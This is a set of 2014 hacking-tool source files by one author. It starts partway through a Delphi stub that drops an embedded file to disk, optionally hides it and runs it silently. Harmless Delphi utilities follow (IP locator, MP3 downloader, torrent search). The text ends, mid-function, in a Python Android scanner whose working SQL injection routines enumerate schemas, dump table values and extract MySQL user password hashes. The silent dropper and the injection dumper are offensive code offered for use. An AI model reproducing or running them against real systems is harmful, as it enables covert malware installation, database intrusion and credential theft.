tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
ocultar := regex(cinco2, '[hide]', '[hide]');
data := FindResource(0, cinco, cuatro);
uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
dos, nil);
CloseHandle(uno);
if (ocultar = '1') then
begin
SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
end;
if (tipodecarga = 'normal') then
begin
ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
end
else
begin
ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
end;
end;
begin
EnumResourceNames(0, RT_RCDATA, @start, 0);
end.
// The End ?
// LocateIP 0.5
// (C) Doddy Hackman 2014
// Credits :
// Based on the services :
// To get IP -- http://whatismyipaddress.com/
// To locate IP -- http://www.melissadata.com/
// To get DNS -- http://www.ip-adress.com/
// Thanks to whatismyipaddress.com , www.melissadata.com , www.ip-adress.com
unit locate;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
IdMultipartFormData, Vcl.Imaging.pngimage, Vcl.ExtCtrls;
type
TForm1 = class(TForm)
GroupBox1: TGroupBox;
Edit1: TEdit;
Button1: TButton;
GroupBox2: TGroupBox;
Edit2: TEdit;
Edit3: TEdit;
Edit4: TEdit;
StatusBar1: TStatusBar;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
IdHTTP1: TIdHTTP;
Image1: TImage;
GroupBox3: TGroupBox;
ListBox1: TListBox;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
var
regex: TPerlRegEx;
par: TIdMultiPartFormDataStream;
rta: string;
z: integer;
begin
regex := TPerlRegEx.Create();
par := TIdMultiPartFormDataStream.Create;
par.AddFormField('DOMAINNAME', Edit1.text);
StatusBar1.Panels[0].text := '[+] Getting IP ...';
Form1.StatusBar1.Update;
rta := IdHTTP1.Post('http://whatismyipaddress.com/hostname-ip', par);
regex.regex := 'Lookup IP Address: <a href=(.*)>(.*)<\/a>';
regex.Subject := rta;
if regex.Match then
begin
Edit1.text := regex.Groups[2];
StatusBar1.Panels[0].text := '[+] Locating ...';
Form1.StatusBar1.Update;
rta := IdHTTP1.Get
('http://www.melissadata.com/lookups/iplocation.asp?ipaddress=' +
Edit1.text);
regex.regex := 'City<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
regex.Subject := rta;
if regex.Match then
begin
Edit2.text := regex.Groups[2];
end
else
begin
Edit2.text := 'Not Found';
end;
regex.regex := 'Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
regex.Subject := rta;
if regex.Match then
begin
Edit3.text := regex.Groups[2];
end
else
begin
Edit3.text := 'Not Found';
end;
regex.regex := 'State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>';
regex.Subject := rta;
if regex.Match then
begin
Edit4.text := regex.Groups[2];
end
else
begin
Edit4.text := 'Not Found';
end;
StatusBar1.Panels[0].text := '[+] Getting DNS ...';
Form1.StatusBar1.Update;
ListBox1.Items.Clear;
rta := IdHTTP1.Get('http://www.ip-adress.com/reverse_ip/' + Edit1.text);
regex.regex := 'whois\/(.*?)\">Whois';
regex.Subject := rta;
while regex.MatchAgain do
begin
for z := 1 to regex.GroupCount do
ListBox1.Items.Add(regex.Groups[z]);
end;
end
else
begin
StatusBar1.Panels[0].text := '[-] Error';
Form1.StatusBar1.Update;
end;
StatusBar1.Panels[0].text := '[+] Finished';
Form1.StatusBar1.Update;
regex.Free;
end;
end.
// The End ?
// DH Player 0.5
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm
unit mp3player;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit, sPageControl,
sStatusBar, sButton, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, sListView, acPNG, sLabel;
type
TForm1 = class(TForm)
sSkinManager1: TsSkinManager;
Image1: TImage;
PopupMenu1: TPopupMenu;
L1: TMenuItem;
R1: TMenuItem;
A1: TMenuItem;
E1: TMenuItem;
Timer1: TTimer;
sPageControl1: TsPageControl;
sTabSheet1: TsTabSheet;
sGroupBox4: TsGroupBox;
MediaPlayer1: TMediaPlayer;
sGroupBox2: TsGroupBox;
sEdit1: TsEdit;
sGroupBox5: TsGroupBox;
sListBox1: TsListBox;
sGroupBox1: TsGroupBox;
sProgressBar1: TsProgressBar;
sTabSheet2: TsTabSheet;
sStatusBar1: TsStatusBar;
sGroupBox3: TsGroupBox;
sEdit2: TsEdit;
sListBox2: TsListBox;
sListBox3: TsListBox;
sListBox4: TsListBox;
sButton1: TsButton;
IdHTTP1: TIdHTTP;
PerlRegEx1: TPerlRegEx;
sGroupBox6: TsGroupBox;
sListView1: TsListView;
sTabSheet3: TsTabSheet;
sGroupBox7: TsGroupBox;
MediaPlayer2: TMediaPlayer;
sGroupBox8: TsGroupBox;
sListBox5: TsListBox;
sGroupBox9: TsGroupBox;
sGroupBox10: TsGroupBox;
sProgressBar2: TsProgressBar;
sProgressBar3: TsProgressBar;
Timer2: TTimer;
IdHTTP2: TIdHTTP;
sTabSheet4: TsTabSheet;
sGroupBox11: TsGroupBox;
Image2: TImage;
sLabel1: TsLabel;procedure A1Click(Sender: TObject);
procedure E1Click(Sender: TObject);
procedure R1Click(Sender: TObject);
procedure L1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure sListBox1DblClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure sListView1DblClick(Sender: TObject);
procedure sListBox5DblClick(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
AWorkCount: Int64);
procedure IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
AWorkCountMax: Int64);
procedure IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
// Functions
function getfilename(archivo: string): string;
var
test: TStrings;
begin
test := TStringList.Create;
test.Delimiter := '/';
test.DelimitedText := archivo;
Result := test[test.Count - 1];
test.Free;
end;
//
procedure TForm1.A1Click(Sender: TObject);
begin
ShowMessage('Contact to lepuke[at]hotmail[com]');
end;
procedure TForm1.E1Click(Sender: TObject);
begin
Form1.Close();
end;
procedure TForm1.FormCreate(Sender: TObject);
var
dir: string;
search: TSearchRec;
cantidad: Integer;
begin
sProgressBar1.Max := 0;
sProgressBar2.Max := 0;
sProgressBar3.Max := 0;
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'fm';
sSkinManager1.Active := True;
begin
dir := ExtractFilePath(Application.ExeName) + '/downloads';
if not(DirectoryExists(dir)) then
begin
CreateDir(dir);
end;
ChDir(dir);
sListBox5.Clear;
cantidad := FindFirst(ExtractFilePath(Application.ExeName)
+ '/downloads/' + '*.mp3', faAnyFile, search);
while cantidad = 0 do
begin
if FileExists(dir + '/' + search.name) then
begin
sListBox5.Items.Add(search.name);
end;
cantidad := FindNext(search);
end;
FindClose(search);
end;
end;
procedure TForm1.IdHTTP2Work(ASender: TObject; AWorkMode: TWorkMode;
AWorkCount: Int64);
begin
sProgressBar2.Position := AWorkCount;
sStatusBar1.Panels[0].Text := '[+] Downloading ...';
Form1.sStatusBar1.Update;
end;
procedure TForm1.IdHTTP2WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
AWorkCountMax: Int64);
begin
sProgressBar2.Max := AWorkCountMax;
sStatusBar1.Panels[0].Text := '[+] Starting download ...';
Form1.sStatusBar1.Update;
end;
procedure TForm1.IdHTTP2WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
var
dir: string;
search: TSearchRec;
cantidad: Integer;
begin
sProgressBar2.Position := 0;
sListBox5.Clear;
dir := ExtractFilePath(Application.ExeName) + '/downloads';
cantidad := FindFirst(ExtractFilePath(Application.ExeName)
+ '/downloads/' + '*.mp3', faAnyFile, search);
while cantidad = 0 do
begin
if FileExists(dir + '/' + search.name) then
begin
sListBox5.Items.Add(search.name);
end;
cantidad := FindNext(search);
end;
FindClose(search);
end;
procedure TForm1.L1Click(Sender: TObject);
var
dir: string;
search: TSearchRec;
cantidad: Integer;
begin
SelectDirectory('Select a folder', '', dir);
sListBox1.Clear;
sEdit1.Text := dir;
cantidad := FindFirst(dir + '/' + '*.mp3', faAnyFile, search);
while cantidad = 0 do
begin
if FileExists(dir + '/' + search.name) then
begin
sListBox1.Items.Add(search.name);
end;
cantidad := FindNext(search);
end;
FindClose(search);
end;
procedure TForm1.R1Click(Sender: TObject);
begin
sEdit1.Text := '';
sProgressBar1.Max := 0;
sListBox1.Clear;
end;
procedure TForm1.sButton1Click(Sender: TObject);
var
cancion: string;
code: string;
nombre: string;
datos: string;
link: string;
i: Integer;
begin
sListBox2.Clear;
sListBox3.Clear;
sListBox4.Clear;
sListView1.Clear;
cancion := sEdit2.Text;
cancion := StringReplace(cancion, ' ', '-', [rfReplaceAll, rfIgnoreCase]);
sStatusBar1.Panels[0].Text := '[+] Searching ... ';
sStatusBar1.Update;
code := IdHTTP1.Get('http://mp3skull.com/mp3/' + cancion + '.html');
PerlRegEx1.Regex := '<div style="font-size:15px;"><b>(.*)<\/b><\/div>';
PerlRegEx1.Subject := code;
while PerlRegEx1.MatchAgain do
// if PerlRegEx1.Match then
begin
nombre := PerlRegEx1.SubExpressions[1];
sListBox2.Items.Add(nombre);
end;
PerlRegEx1.Regex := '<!-- info mp3 here -->\s+(.*?)<\/div>';
PerlRegEx1.Subject := code;
while PerlRegEx1.MatchAgain do
// if PerlRegEx1.Match then
begin
datos := PerlRegEx1.SubExpressions[1];
datos := StringReplace(datos, '<br \/>', ' ', [rfReplaceAll, rfIgnoreCase]);
datos := StringReplace(datos, '<br />', ' ', [rfReplaceAll, rfIgnoreCase]);
sListBox3.Items.Add(datos);
end;
PerlRegEx1.Regex := '<a href=\"(.*)\.mp3\"';
PerlRegEx1.Subject := code;
while PerlRegEx1.MatchAgain do
// if PerlRegEx1.Match then
begin
link := PerlRegEx1.SubExpressions[1] + '.mp3';
sListBox4.Items.Add(link);
end;
for i := 0 to sListBox2.Count - 1 do
begin
// ShowMessage(IntToStr(i));
with sListView1.Items.Add do
begin
Caption := sListBox2.Items[i];
SubItems.Add(sListBox3.Items[i]);
end;
end;
sStatusBar1.Panels[0].Text := '[+] Finished ';
sStatusBar1.Update;
end;
procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
sProgressBar1.Max := 0;
MediaPlayer1.Close;
MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
[sListBox1.ItemIndex];
MediaPlayer1.Open;
sProgressBar1.Max := MediaPlayer1.Length;
end;
procedure TForm1.sListBox5DblClick(Sender: TObject);
begin
MediaPlayer2.Close;
MediaPlayer2.FileName := ExtractFilePath(Application.ExeName)
+ '/downloads' + '/' + sListBox5.Items.Strings[sListBox5.ItemIndex];
MediaPlayer2.Open;
sProgressBar3.Max := MediaPlayer2.Length;
end;
procedure TForm1.sListView1DblClick(Sender: TObject);
var
FileName: string;
nombrefinal: string;
archivobajado: TFileStream;
url: string;
begin
url := sListBox4.Items[sListView1.Selected.Index];
nombrefinal := getfilename(url);
archivobajado := TFileStream.Create(ExtractFilePath(Application.ExeName)
+ '/downloads' + '/' + nombrefinal, fmCreate);
try
begin
DeleteFile(nombrefinal);
IdHTTP2.Get(url, archivobajado);
sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
Form1.sStatusBar1.Update;
archivobajado.Free;
end;
except
sStatusBar1.Panels[0].Text := '[-] Failed download';
Form1.sStatusBar1.Update;
archivobajado.Free;
Abort;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
if sProgressBar1.Max <> 0 then
begin
sProgressBar1.Position := MediaPlayer1.Position;
end;
end;
procedure TForm1.Timer2Timer(Sender: TObject);
begin
if sProgressBar3.Max <> 0 then
begin
sProgressBar3.Position := MediaPlayer2.Position;
end;
end;
end.
// The End ?
// PirateBay Manager 0.8
// (C) Doddy Hackman 2014
unit pirate;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP, ComCtrls, sListView, sGroupBox, sListBox, ShellApi,
sSkinManager, acPNG, ExtCtrls, sStatusBar, sEdit, sButton;
type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
PerlRegEx1: TPerlRegEx;
sGroupBox1: TsGroupBox;
sListView1: TsListView;
sListBox1: TsListBox;
sListBox2: TsListBox;
sListBox3: TsListBox;
PerlRegEx2: TPerlRegEx;
sSkinManager1: TsSkinManager;
Image1: TImage;
sGroupBox2: TsGroupBox;
sEdit1: TsEdit;
sStatusBar1: TsStatusBar;
sButton1: TsButton;
procedure sListView1DblClick(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.FormCreate(Sender: TObject);
begin
sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
sSkinManager1.SkinName := 'tv-b';
sSkinManager1.Active := True;
end;
procedure TForm1.sButton1Click(Sender: TObject);
var
busqueda: string;
code: string;
nombre: string;
link_torrent: string;
limpiando_data: string;
data: string;
seeders: string;
leechers: string;
i: integer;
begin
sListBox1.Clear;
sListBox2.Clear;
sListBox3.Clear;
sListView1.Clear;
busqueda := sEdit1.Text;
busqueda := StringReplace(busqueda, ' ', '%20', [rfReplaceAll, rfIgnoreCase]);
sStatusBar1.Panels[0].Text := '[+] Searching ...';
sStatusBar1.Update;
code := IdHTTP1.Get('http://thepiratebay.se/search/' + busqueda + '/0/99/0');
sStatusBar1.Panels[0].Text := '[+] Finished';
sStatusBar1.Update;
PerlRegEx1.Regex :=
'(.*?)class="detLink" title="Details for (.*?)">(.*?)<a href="magnet(.*?)" title="Download this torrent using magnet"(.*?)<font class="detDesc">(.*?)<\/font>(.*?)<td align="right">(.*?)<\/td>(.*?)<td align="right">(.*?)<\/td>(.*?)';
PerlRegEx1.Subject := code;
while PerlRegEx1.MatchAgain do
// if PerlRegEx1.Match then
begin
nombre := PerlRegEx1.SubExpressions[2];
link_torrent := 'magnet' + PerlRegEx1.SubExpressions[4];
limpiando_data := PerlRegEx1.SubExpressions[6];
seeders := PerlRegEx1.SubExpressions[8];
leechers := PerlRegEx1.SubExpressions[10];
PerlRegEx2.Regex := '(.*), ULed by <';
PerlRegEx2.Subject := limpiando_data;
if PerlRegEx2.Match then
begin
limpiando_data := PerlRegEx2.SubExpressions[1];
data := StringReplace(limpiando_data, ' ', '', [rfReplaceAll,
rfIgnoreCase]);
data := data + ', Seeders ' + seeders + ', Leechers ' + leechers;
end;
sListBox1.Items.Add(nombre);
sListBox2.Items.Add(data);
sListBox3.Items.Add(link_torrent);
end;
for i := 0 to sListBox1.Count - 1 do
begin
// ShowMessage(IntToStr(i));
with sListView1.Items.Add do
begin
Caption := sListBox1.Items[i];
SubItems.Add(sListBox2.Items[i]);
end;
end;
end;
procedure TForm1.sListView1DblClick(Sender: TObject);
begin
// ShowMessage(sListBox3.Items[sListView1.Selected.Index]);
ShellExecute(0, nil, PChar(sListBox3.Items[sListView1.Selected.Index]), nil,
nil, SW_SHOWNORMAL);
end;
end.
// The End ?
#!usr/bin/python
# -*- coding: utf-8 -*-
#################################################################################
#This software is Copyright (c) 2014 by Doddy Hackman.
#
#This is free software, licensed under:
#
# The Artistic License 1.0
#
#The Artistic License
#
#Preamble
#
#The intent of this document is to state the conditions under which a Package
#may be copied, such that the Copyright Holder maintains some semblance of
#artistic control over the development of the package, while giving the users of
#the package the right to use and distribute the Package in a more-or-less
#customary fashion, plus the right to make reasonable modifications.
#
#Definitions:
#
# - "Package" refers to the collection of files distributed by the Copyright
# Holder, and derivatives of that collection of files created through
# textual modification.
# - "Standard Version" refers to such a Package if it has not been modified,
# or has been modified in accordance with the wishes of the Copyright
# Holder.
# - "Copyright Holder" is whoever is named in the copyright or copyrights for
# the package.
# - "You" is you, if you're thinking about copying or distributing this Package.
# - "Reasonable copying fee" is whatever you can justify on the basis of media
# cost, duplication charges, time of people involved, and so on. (You will
# not be required to justify it to the Copyright Holder, but only to the
# computing community at large as a market that must bear the fee.)
# - "Freely Available" means that no fee is charged for the item itself, though
# there may be fees involved in handling the item. It also means that
# recipients of the item may redistribute it under the same conditions they
# received it.
#
#1. You may make and give away verbatim copies of the source form of the
#Standard Version of this Package without restriction, provided that you
#duplicate all of the original copyright notices and associated disclaimers.
#
#2. You may apply bug fixes, portability fixes and other modifications derived
#from the Public Domain or from the Copyright Holder. A Package modified in such
#a way shall still be considered the Standard Version.
#
#3. You may otherwise modify your copy of this Package in any way, provided that
#you insert a prominent notice in each changed file stating how and when you
#changed that file, and provided that you do at least ONE of the following:
#
# a) place your modifications in the Public Domain or otherwise make them
# Freely Available, such as by posting said modifications to Usenet or an
# equivalent medium, or placing the modifications on a major archive site
# such as ftp.uu.net, or by allowing the Copyright Holder to include your
# modifications in the Standard Version of the Package.
#
# b) use the modified Package only within your corporation or organization.
#
# c) rename any non-standard executables so the names do not conflict with
# standard executables, which must also be provided, and provide a separate
# manual page for each non-standard executable that clearly documents how it
# differs from the Standard Version.
#
# d) make other distribution arrangements with the Copyright Holder.
#
#4. You may distribute the programs of this Package in object code or executable
#form, provided that you do at least ONE of the following:
#
# a) distribute a Standard Version of the executables and library files,
# together with instructions (in the manual page or equivalent) on where to
# get the Standard Version.
#
# b) accompany the distribution with the machine-readable source of the Package
# with your modifications.
#
# c) accompany any non-standard executables with their corresponding Standard
# Version executables, giving the non-standard executables non-standard
# names, and clearly documenting the differences in manual pages (or
# equivalent), together with instructions on where to get the Standard
# Version.
#
# d) make other distribution arrangements with the Copyright Holder.
#
#5. You may charge a reasonable copying fee for any distribution of this
#Package. You may charge any fee you choose for support of this Package. You
#may not charge a fee for this Package itself. However, you may distribute this
#Package in aggregate with other (possibly commercial) programs as part of a
#larger (possibly commercial) software distribution provided that you do not
#advertise this Package as a product of your own.
#
#6. The scripts and library files supplied as input to or produced as output
#from the programs of this Package do not automatically fall under the copyright
#of this Package, but belong to whomever generated them, and may be sold
#commercially, and may be aggregated with this Package.
#
#7. C or perl subroutines supplied by you and linked into this Package shall not
#be considered part of this Package.
#
#8. The name of the Copyright Holder may not be used to endorse or promote
#products derived from this software without specific prior written permission.
#
#9. THIS PACKAGE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR IMPLIED
#WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
#MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
#
#The End
#
#################################################################################
#Paranoic Scan 0.3
#Android Version
#(C) Doddy Hackman 2014
#################################################################################
import android,urllib2,socket,binascii,re,base64,hashlib
webvul = ""
# Functions
def hexencoder(texto):
return "[+] Result : "+"0x"+str(binascii.hexlify(texto))
def hexdecoder(texto):
text = re.sub("0x","",texto)
return "[+] Result : "+binascii.unhexlify(text)
def base64encoder(texto):
return "[+] Result : "+base64.b64encode(texto)
def base64decoder(texto):
return "[+] Result : "+base64.b64decode(texto)
def md5encoder(texto):
return "[+] Result : "+hashlib.md5(texto).hexdigest()
def reem(texto,parte):
return re.sub(parte,"hackman",texto)
def regexver(code):
if (re.findall("K0BRA(.*?)K0BRA",code)):
return True
else:
return False
def regexdar(code):
if (re.findall("K0BRA(.*?)K0BRA",code)):
return re.findall("K0BRA(.*?)K0BRA",code)[0]
def toma(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).read()
def tomar(web,vars) :
nave = urllib2.build_opener()
nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
return nave.open(web,vars).read()
def getdata(web) :
nave = urllib2.Request(web)
nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
op = urllib2.build_opener()
return op.open(nave).info()
def bypass(bypass):
if bypass == "--":
return("+","--")
elif bypass == "/*":
return("/**/","/**/")
else:
return("+","--")
def showtables(web):
pass1,pass2 = bypass("--")
respuesta = ""
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
respuesta = respuesta + "[+] Searching tables ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Tables Found : "+numbers+"\n\n"
for counter in range(17,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
table = re.findall("K0BRA(.*?)K0BRA",code2)
table = table[0]
respuesta = respuesta + "[Table Found] : "+table+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def showcolumns(web,tabla):
respuesta = ""
pass1,pass2 = bypass("--")
tabla2 = tabla
tabla = "0x"+str(binascii.hexlify(tabla))
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass2)
respuesta = respuesta + "[+] Searching columns ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Columns Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabla+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
column = re.findall("K0BRA(.*?)K0BRA",code2)
column = column[0]
respuesta = respuesta + "\n[Column Found in table "+str(tabla2)+"] : "+str(column)
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def showdbs(web):
respuesta = ""
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
respuesta = respuesta + "[+] Searching DBS ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] DBS Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
db = re.findall("K0BRA(.*?)K0BRA",code2)
db = db[0]
respuesta = respuesta + "\n[DB Found] : "+db
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def dumper(web,table,col1,col2):
respuesta = ""
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,0x4B3042524131,"+col2+",0x4B3042524131)))",web)
code1 = toma(web1+pass1+"from"+pass1+table+pass2)
respuesta = respuesta + "[+] Searching values ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Values Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
c1 = re.findall("K0BRA(.*?)K0BRA",code2)
c1 = c1[0]
c2 = re.findall("K0BRA1(.*?)K0BRA1",code2)
c2 = c2[0]
respuesta = respuesta + "\n["+col1+"] : "+c1+"\n"
respuesta = respuesta + "["+col2+"] : "+c2+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def mysqluser(web):
pass1,pass2 = bypass("--")
respuesta = ""
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))",web)
code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
respuesta = respuesta + "[+] Searching mysql.user ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Users Found : "+numbers+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
host = re.findall("K0BRA(.*?)K0BRA",code2)
host = host[0]
user = re.findall("K0BRA1(.*?)K0BRA1",code2)
user = user[0]
passw = re.findall("K0BRA2(.*?)K0BRA2",code2)
passw = passw[0]
respuesta = respuesta + "\n[Host] : "+host
respuesta = respuesta + "\n[User] : "+user
respuesta = respuesta + "\n[Pass] : "+passw+"\n"
else:
respuesta = respuesta + "[-] Not Found\n"
respuesta = respuesta + "\n[+] Finished"
return respuesta
def showcolumnsdb(web,db,table):
respuesta = ""
db2 = db
table2 = table
db = "0x"+str(binascii.hexlify(db))
table = "0x"+str(binascii.hexlify(table))
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass2)
respuesta = respuesta + "[+] Searching columns in DB ...\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "\n[+] Columns Found : "+str(numbers)+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+table+pass1+"and"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
column = re.findall("K0BRA(.*?)K0BRA",code2)
column = column[0]
respuesta = respuesta + "\n[Column Found] : "+str(column)
else:
respuesta = respuesta + "\n[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def showtablesdb(web,db):
respuesta = ""
db2 = db
db = "0x"+str(binascii.hexlify(db))
pass1,pass2 = bypass("--")
web1 = re.sub("hackman","unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))",web)
web2 = re.sub("hackman","unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))",web)
code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass2)
respuesta = respuesta + "[+] Searching tables in DB ...\n\n"
if (re.findall("K0BRA(.*?)K0BRA",code1)):
numbers = re.findall("K0BRA(.*?)K0BRA",code1)
numbers = numbers[0]
respuesta = respuesta + "[+] Tables Found : "+str(numbers)+"\n"
for counter in range(0,int(numbers)):
code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+db+pass1+"limit"+pass1+repr(counter)+",1"+pass2)
if (re.findall("K0BRA(.*?)K0BRA",code2)):
table = re.findall("K0BRA(.*?)K0BRA",code2)
table = table[0]
respuesta = respuesta + "\n[Table Found] : "+table
else:
respuesta = respuesta + "[-] Not Found"
respuesta = respuesta + "\n\n[+] Finished"
return respuesta
def more(web):
respuesta = ""
pass1,pass2 = bypass("--")
otraweb = web
